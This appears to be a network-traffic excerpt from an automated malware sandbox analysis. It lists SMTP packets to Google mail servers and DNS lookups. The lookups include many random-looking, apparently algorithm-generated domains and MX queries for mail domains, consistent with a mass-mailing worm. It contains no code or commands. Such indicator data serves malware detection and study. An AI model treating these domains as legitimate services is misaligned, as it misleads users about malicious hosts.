Nov 7, 2022 22:25:11.083750963 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083775043 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083791971 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083791971 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083854914 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083898067 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.084363937 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.101658106 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.135556936 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.135730028 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.177972078 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.184329033 CET	25	49871	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:11.219609022 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.222337008 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.255424976 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.266091108 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.283957005 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.323400974 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.325069904 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.325290918 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.343226910 CET	25	49871	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:11.343899012 CET	49871	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:11.355201006 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355236053 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355258942 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355279922 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355289936 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355304003 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355324984 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355346918 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355346918 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355370045 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355380058 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355393887 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355416059 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355550051 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355573893 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355626106 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355653048 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355771065 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.355817080 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.355848074 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356020927 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356045008 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356065989 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356081963 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356105089 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356115103 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356215000 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356239080 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356283903 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356467962 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356710911 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356741905 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356764078 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356767893 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356785059 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356786966 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356807947 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356808901 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356828928 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356829882 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356847048 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356853008 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356868982 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356884956 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356930971 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356954098 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.356967926 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.356987000 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357050896 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357074022 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357094049 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357095003 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357119083 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357121944 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357139111 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357140064 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357162952 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357162952 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357182980 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357187033 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357196093 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357209921 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357222080 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357234955 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357249975 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357259035 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357279062 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357280016 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357302904 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357302904 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357316971 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357325077 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357338905 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357347012 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357362986 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357368946 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357381105 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357391119 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357405901 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357425928 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357450008 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357503891 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357527971 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357551098 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357552052 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357572079 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357578993 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357589960 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357593060 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357611895 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357616901 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357624054 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357639074 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357652903 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357661009 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357676029 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.357681990 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357702971 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357722998 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357744932 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357765913 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357788086 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357810020 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357831955 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.357856035 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358017921 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358041048 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358061075 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358082056 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358103991 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358129025 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358150005 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358171940 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358192921 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358213902 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358233929 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358254910 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358275890 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358300924 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358323097 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358376026 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.358398914 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.362549067 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.400511026 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400563002 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400593042 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400621891 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400640965 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400651932 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400682926 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400712013 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400731087 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400731087 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400731087 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400742054 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400772095 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400803089 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400805950 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400805950 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400830030 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400855064 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400855064 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400859118 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400888920 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400888920 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400917053 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400921106 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400943995 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400952101 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.400979042 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.400980949 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401005983 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401045084 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401102066 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401128054 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401160002 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401192904 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401192904 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401228905 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401268005 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401295900 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401324034 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401334047 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401334047 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401355028 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401390076 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401391029 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401390076 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401423931 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401453018 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401459932 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401460886 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401480913 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401510000 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401515007 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401515007 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401540041 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401549101 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401575089 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401576042 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401602983 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401607037 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401627064 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401638031 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401669025 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401674986 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401696920 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401705027 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401730061 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401731014 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401758909 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401766062 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401787996 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401791096 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401815891 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401824951 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401849031 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401854038 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401884079 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.401884079 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401926994 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.401974916 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.485645056 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.505714893 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.538657904 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.547085047 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.547270060 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.584578991 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.584675074 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.617624998 CET	25	49873	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.668904066 CET	49873	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.672086000 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672121048 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672147036 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672168016 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672185898 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672200918 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672218084 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672233105 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672247887 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672264099 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672280073 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672296047 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672512054 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672596931 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672636986 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672653913 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672668934 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672693014 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672713995 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672734976 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672754049 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672772884 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672795057 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672815084 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672833920 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672854900 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672873974 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672894955 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672914982 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672934055 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672954082 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672971964 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.672991991 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.673029900 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.673482895 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.673518896 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.673543930 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.673588991 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.674001932 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.674022913 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.674448013 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.674479961 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.674505949 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.674526930 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.674923897 CET	25	49864	142.250.157.26	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2022 22:24:10.001876116 CET	192.168.2.5	8.8.8.8	0x8749	Standard query (0)	shpqsasmrn.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:10.079478025 CET	192.168.2.5	8.8.8.8	0x3717	Standard query (0)	rmhhhmswqh.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:10.943778992 CET	192.168.2.5	8.8.8.8	0x6935	Standard query (0)	whenaeqsar.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:11.742043018 CET	192.168.2.5	8.8.8.8	0x6c9f	Standard query (0)	pqarseshhn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:12.262677908 CET	192.168.2.5	8.8.8.8	0xb9c8	Standard query (0)	meahewphwa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.057863951 CET	192.168.2.5	8.8.8.8	0x1c7e	Standard query (0)	psmrewwhhh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.460423946 CET	192.168.2.5	8.8.8.8	0x1e95	Standard query (0)	hmpasnpmas.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.508126020 CET	192.168.2.5	8.8.8.8	0xebba	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.708462000 CET	192.168.2.5	8.8.8.8	0x8e24	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.802622080 CET	192.168.2.5	8.8.8.8	0x7883	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.802683115 CET	192.168.2.5	8.8.8.8	0x5ffe	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.804274082 CET	192.168.2.5	8.8.8.8	0x4a5d	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.840410948 CET	192.168.2.5	8.8.8.8	0x46b8	Standard query (0)	raheepmpnn.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.863327026 CET	192.168.2.5	8.8.8.8	0xd06a	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.081758976 CET	192.168.2.5	8.8.8.8	0xe0f	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.147835016 CET	192.168.2.5	8.8.8.8	0x62b2	Standard query (0)	mwpmmeshma.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.148601055 CET	192.168.2.5	8.8.8.8	0x8bfe	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.601370096 CET	192.168.2.5	8.8.8.8	0xbee4	Standard query (0)	rwqmwaahsa.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.468135118 CET	192.168.2.5	8.8.8.8	0x50f3	Standard query (0)	snshrmsmmh.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.495029926 CET	192.168.2.5	8.8.8.8	0xacd1	Standard query (0)	qmmmshpqan.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.638415098 CET	192.168.2.5	8.8.8.8	0xe403	Standard query (0)	sephpsappn.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.691431046 CET	192.168.2.5	8.8.8.8	0x55e6	Standard query (0)	qpnrsrhean.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.720925093 CET	192.168.2.5	8.8.8.8	0xb978	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.025753975 CET	192.168.2.5	8.8.8.8	0x2f63	Standard query (0)	hmaeshmwmh.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.128030062 CET	192.168.2.5	8.8.8.8	0x6847	Standard query (0)	anmmemmqms.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.242899895 CET	192.168.2.5	8.8.8.8	0x631b	Standard query (0)	swrhaapnnr.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.276922941 CET	192.168.2.5	8.8.8.8	0x372c	Standard query (0)	ampsqhrras.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.187453032 CET	192.168.2.5	8.8.8.8	0x9fc2	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.188623905 CET	192.168.2.5	8.8.8.8	0xb6ba	Standard query (0)	hemqhqaema.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.210762978 CET	192.168.2.5	8.8.8.8	0x41d7	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.233211994 CET	192.168.2.5	8.8.8.8	0x86a7	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.244894981 CET	192.168.2.5	8.8.8.8	0x3927	Standard query (0)	nhmqhmsrph.us	A (IP address)	IN (0x0001)	false
